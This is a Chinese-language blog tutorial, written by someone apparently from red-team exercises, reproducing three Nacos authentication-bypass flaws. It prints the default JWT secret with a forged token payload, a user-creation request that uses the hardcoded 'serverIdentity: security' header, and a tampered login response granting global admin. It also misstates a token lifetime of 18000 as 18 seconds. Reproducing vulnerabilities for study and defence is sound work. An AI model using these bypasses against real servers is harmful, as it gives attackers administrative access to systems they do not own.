前言
Nacos 是阿里巴巴开源的一个微服务平台,集成了服务注册与发现、动态配置管理和服务管理功能。它旨在帮助开发者更便捷地构建、交付和管理微服务项目。Nacos 具有简单易用、高效、灵活的特点,支持动态刷新配置,无需重启服务器即可使配置变更生效。
简介
这些Nacos的漏洞是小编护网期间碰到最多的Nacos漏洞,其他的漏洞不怎么多就不写了,这篇文章漏洞复现是小编参考一些大佬文章写的,太久了,不记得是哪几篇文章了。由于本篇文章是真实环境测试,所以图片有些都打上了马赛克。如有雷同,请联系小编。
权限绕过登陆(QVD-2023-6271)
漏洞简介
Nacos用户使用默认JWT密钥导致未授权访问漏洞.通过该漏洞,攻击者可以绕过用户名密码认证,直接登录Nacos用户.
影响版本
0.1.0<= Nacos<= 2.2.0
漏洞复现
1.进入容器找默认密钥,或者去网上找Nacos默认密钥
默认密钥:SecretKey012345678901234567890123456789012345678901234567890123456789
2.利用jwt.io构造jwt token
Nacos配置JWT(JSON Web Tokens)作为其认证机制,其中JWT的签名算法选择为HS256(HMAC使用SHA-256哈希算法)。在这个场景下,将secret.key的默认值设定为JWT的密钥(secretKey),用于生成签名(Signature)。JWT的负载(Payload)部分包含两个关键信息:subject(即用户名,标识用户身份)和exp(表示过期时间,用于控制token的有效期限)。
Payload:
{
"sub": "nacos", //用户名
"exp":"1722393819" //时间戳
}
Jwt构造网站
时间戳生成网站
时间戳(Unix timestamp)转换工具 - 在线工具
我的时间现在是2024-7-30,生成一个明天的时间戳,就是把30改为31
然后bp抓一个登陆包发送到重放模块,添加Authorization: Bearer (jwt)后放行
在抓一个登陆包,添加Authorization: Bearer (jwt)后放行,成功登录
CVE-2021-29441 Nacos权限认证绕过漏洞
1,漏洞产因
当开启 Nacos 权限认证(nacos.core.auth.enabled=true)后,配置文件中存在默认值:
nacos.core.auth.server.identity.key=serverIdentity
nacos.core.auth.server.identity.value=security
该硬编码导致攻击者可以构造携带该 key 和 value 的请求,从而绕过权限认证。
2.漏洞影响版本
Nacos <= 2.2.0
3.复现
抓取一个登陆包,然后修改包里内容和请求,添加用户
POST /v1/auth/users HTTP/1.1 //修改请求
serverIdentity: security //添加身份认证密钥
尝试登录
成功
CVE-2021-43116(身份认证绕过漏洞)
1,漏洞产因
Alibaba nacos 2.0.3 版本的访问提示页面存在访问控制错误漏洞。攻击者可利用该漏洞通过输入用户名和密码、点击“登录”获取数据包,并通过更改返回的数据包进行登录。
2.漏洞影响版本
Nacos v2.0.3
3.漏洞复现
Burp抓取页面登录包
拦截页面响应包
点击放行后获得响应包
修改响应包
加入一串代码是一个JSON格式的数据,它通常用于表示一些配置信息或用户认证信息。下面是对这个JSON数据的解释:
- 一个用户的访问令牌(accessToken),该令牌具有过期时间。
- 令牌的有效期是18秒(尽管这个值可能较短,实际中会更长)。
- 用户具有全局管理员权限(globalAdmin为true)。
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Content-Type: application/json
Date: Tue, 06 Feb 2024 12:00:53 GMT
Connection: close
Content-Length: 177
{
"accessToken":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl":18000,
"globalAdmin":true,
}
修改完成后,放行,登陆成功